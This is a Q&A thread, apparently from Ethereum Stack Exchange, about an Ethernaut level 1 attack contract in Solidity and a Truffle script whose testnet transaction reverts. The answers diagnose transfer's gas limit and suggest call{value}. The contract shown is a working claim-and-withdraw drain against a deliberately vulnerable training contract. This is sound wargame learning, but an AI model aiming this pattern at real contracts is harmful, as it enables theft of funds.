1

I'm playing Ethernaut level1:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Level1 {
    function withdraw() external;
    function contribute() external payable;
}

contract AttackLevel1 {
    Level1 private level1;

    constructor() {
        level1 = Level1(0x7717554cE81f6255D223e64f6cA9ABF4c131e4cf);
    }

    receive() external payable {}

    function attack() external payable {
        level1.contribute{value: 0.0001 ether}();
        payable(address(level1)).transfer(0.0001 ether);

        level1.withdraw();
        payable(msg.sender).transfer(address(this).balance);
    }
}

And in truffle I have

require('dotenv').config()
let privateKey = process.env["RINKEBY_PRIVATE_KEY"]
let account = web3.eth.accounts.privateKeyToAccount(privateKey)

async function main () {
    let AttackLevel1 = artifacts.require("AttackLevel1")
    let AttackLevel1Deployed = await AttackLevel1.deployed()

    await AttackLevel1Deployed.send(web3.utils.toWei("0.001", "ether"))
    
    await AttackLevel1Deployed.methods['attack()'].sendTransaction({
        value: web3.utils.toWei("0.001", "ether")
    })
    
    let balance = await web3.eth.getBalance(account)
    console.log(balance.toString())
}

module.exports = async function(callback) {
    await main()
    callback()
}

But the transaction is reverted: https://rinkeby.etherscan.io/tx/0x89ff86a785a7f144a08bc9aebae95fcde8eaaa25cbf8c630a5499c37e0b2a2ec#internal

The logs on the UI does not show anything useful, how can I figure out why?

0

2 Answers 2

3

The transaction callback returned by contract call should have more information for you. However, tenderly is a really useful website for debugging on-chain transactions. It shows that your call ran out of gas.

1
  • The tenderly tool is pretty amazing! How are they able to do this? Are there any other tools like this? Is it possible to also parse these kind of stack traces locally?
    – Snake_py
    Mar 25 at 18:51
1

payable(address(level1)).transfer(0.0001 ether); has a gas problem, and it would otherwise work with the pattern (bool ok,) = address(level1).call{value: 0.0001 ether}("");.

transfer is deprecated now too.

I tried on remix and your contract worked with that one line changed. I should say the code executes and does as expected, but won't pass the level, as the attack contract is the target/level contract's owner instead of player. You can pass this level just using console commands

2
  • Hi there, why would the transfer() has a gas problem? I don't understand the difference between transfer() and call()
    – daisy
    Jul 10, 2022 at 11:56
  • send and transfer have a built in gas limit which was designed as a reentracy protection but that can't be relied upon and is deprecated. call is now the recommended way to send value and doesn't have the gas limit that send/transfer do
    – sola24
    Jul 10, 2022 at 15:36

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.